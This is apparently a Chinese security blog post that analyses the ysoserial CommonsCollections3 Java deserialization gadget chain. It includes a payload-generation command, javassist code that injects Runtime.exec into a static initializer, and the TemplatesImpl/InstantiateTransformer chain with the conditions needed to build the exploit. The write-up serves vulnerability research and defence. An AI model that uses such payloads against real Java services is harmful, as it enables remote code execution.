Java反序列化利用链分析之CommonsCollections3-安全客

0x00 前言

前面分析了ysoserial的CommonsCollections1，熟悉了一点Java反序列化。本文将继续分析ysoserial的利用，今天的主角是CommonsCollections3.

0x01 环境准备

首先由于override的原因(下一篇将分析该原因)，环境使用的是jdk7u80,commons-collections:3.1。利用ysoserial生成payload，并载入调试。

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections3 "open /System/Applications/Calculator.app" > commonscollections3.ser

0x02 基础知识

在分析开始前，先补充一下基础知识

public class StaticBlockTest {
}

public class Cracker {

    public static byte[] generate(){
        try {
            String code = "{java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}";
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.get(StaticBlockTest.class.getName());
            clazz.setName("demo");
            clazz.makeClassInitializer().insertAfter(code);
            return clazz.toBytecode();
        // ...
    }
    public static void main(String[] args) {
        byte[] clazz = generate();
        DefiningClassLoader loader = new DefiningClassLoader();
        Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类
        try {
            cls.newInstance(); // 实例化该类时会自动调用静态块内的代码
        } 
          // ...
    }
}

通过上面这个例子，我们可以获得的知识点主要为两点：

a. defineClass可以从byte数组中恢复一个Class

b. static initializer在类实例化时将自动执行（静态块内的代码）

Java中动态调用的另一种方式是defineClass

Java提供了ClassLoader从bytes数组中还原Class的方法，defineClass函数就是完成这一过程的函数。

理论上，如果代码中使用了这种方式，且byte数据的内容可控，我们可以执行任意Java代码。为什么呢？

这里就用到了Java类的另一个特性，static block在类实例化时会自动执行块内的代码。我们可以通过javassist对静态块注入任意代码，该类被恢复并实例化时就会调用注入的代码，后文的利用链主要就是用到了这两个知识点。

0x03 利用链分析

1. 前景回顾

这里选择CommonsCollections3是因为他的前半段触发的利用链跟CommonsCollections1是一样的，所以这里只需要分析后半段命令执行的构造即可。回顾一下前半段利用链

sun.reflect.annotation.AnnotationInvocationHandler.readObject()
    -> memberValues.entrySet()
    -> AnnotationInvocationHandler.invoke()
    -> memberValues.get() => LazyMap.get()
    -> factory.transform() => ChainedTransformer.transform()
    -> iTransformers[].transform()

CommonsCollections1中ChainedTransformer.transform()会循环调用iTransformers数组里的对象的transform函数。CommonsCollections1用的是InvokerTransformer的transform，因为该函数实现了反射调用任意类的功能。那么除了使用InvokerTransformer还有没有其他的方法？答案当然是肯定的！

2. 新的命令执行利用链

来看一下CommonsCollections3的payloads构造

Object templatesImpl = Gadgets.createTemplatesImpl(command);

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(TrAXFilter.class),
      new InstantiateTransformer(
            new Class[] { Templates.class },
            new Object[] { templatesImpl } )};
// 后续类似 省略

ConstantTransformer上一篇已经说过了，其transform会返回构造时的对象，这里就是TrAXFilter.class对象。

我们重点来看InstaniateTransformer的transform函数

简单来看，该函数对输入的input（这里就是TrAXFilter.class）做实例化的操作。这里看起来，其实有点像php中找对应的__constructs，在Java里我们就去找构造函数里做了危险操作的class。

来看一下TrAXFilter类的构造函数

这里的templates就是上面exp中构造的templatesImpl.

继续看TransformerImpl的newTransformer函数

org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java:newTransformer:481

继续看getTransletInstance

再继续defineTransletClasses

看到这里是不是有点熟悉，没错，这里用到了0x02中的两个基础知识。defineTransletClasses还原出类，getTransletInstance进行实例化。那么我们只需要构造一个合适的_bytecodes即可执行任意Java代码。

下面补充一下，在构造exp时需要满足的条件：

1.植入的templates为TransformerImpl类，从而调用后续的newTransformer函数
2.植入的templates实例，_name不为null,_class为null
3.植入的templates实例，_bytecodes不为null,_tfactory为TransformerFactoryImpl对象
4.植入的templates._bytecodes数组，其最终还原的对象父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet